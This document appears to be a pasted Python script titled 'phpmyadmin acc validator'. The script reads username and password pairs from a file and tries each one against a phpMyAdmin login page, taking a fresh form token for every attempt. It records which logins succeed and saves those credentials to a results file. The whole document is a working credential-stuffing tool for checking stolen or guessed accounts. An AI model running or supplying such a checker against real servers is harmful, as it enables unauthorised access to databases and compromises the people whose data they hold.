phpmyadmin acc validator
2025-05-20 03:10:14 - zdgtl
import requests import re # URL of your phpMyAdmin login page (with query parameters as given) PMA_URL = "https://HOST/index.php/index.php?route=/&route=%2F" ACCOUNTS_FILE = "accc.txt" RESULT_FILE = "result.txt" def parse_account_line(line): """ Parse a line from accc.txt file. Supports username:password or username,password or username password formats. """ line = line.strip() if not line: return None, None for separator in [":", ",", " "]: if separator in line: parts = line.split(separator) if len(parts) >= 2: return parts[0].strip(), parts[1].strip() return line, "" def get_token(session): """ Obtain the login form token from the login page. """ try: r = session.get(PMA_URL, timeout=10) r.raise_for_status() except Exception as e: print(f"Error fetching login page for token: {e}") return None # Find token value in hidden input field match = re.search(r'<input\s+type="hidden"\s+name="token"\s+value="([a-f0-9]+)"', r.text) if match: return match.group(1) return "" def is_login_successful(response): """ Determine if login was successful. Check if the response URL matches the expected success URL. """ success_url = "index.php?route=/&route=%2F" return success_url in response.url def main(): session = requests.Session() try: with open(ACCOUNTS_FILE, "r", encoding="utf-8") as f: accounts = f.readlines() except FileNotFoundError: print(f"Error: '{ACCOUNTS_FILE}' not found.") return successful_accounts = [] print(f"Starting login attempts to: {PMA_URL}") for line in accounts: username, password = parse_account_line(line) if not username: continue print(f"Trying username: '{username}' password: '{password}' ...") token = get_token(session) if token is None: print("Failed to get login token, skipping attempt.") continue post_data = { "pma_username": username, "pma_password": password, "server": "1", "target": "index.php", "lang": "en", "token": token, "collation_connection": "utf8_general_ci", "submit": "Login" } try: response = session.post(PMA_URL, data=post_data, timeout=15, allow_redirects=True) response.raise_for_status() except Exception as e: print(f"Error during login POST: {e}") continue if is_login_successful(response): print(f"Success: {username}:{password}") successful_accounts.append(f"{username}:{password}") else: print(f"Failed: {username}:{password}") session.cookies.clear() if successful_accounts: with open(RESULT_FILE, "w", encoding="utf-8") as f: for acc in successful_accounts: f.write(acc + "\n") print(f"Saved {len(successful_accounts)} successful account(s) to '{RESULT_FILE}'") else: print("No successful logins found.") if __name__ == "__main__": main()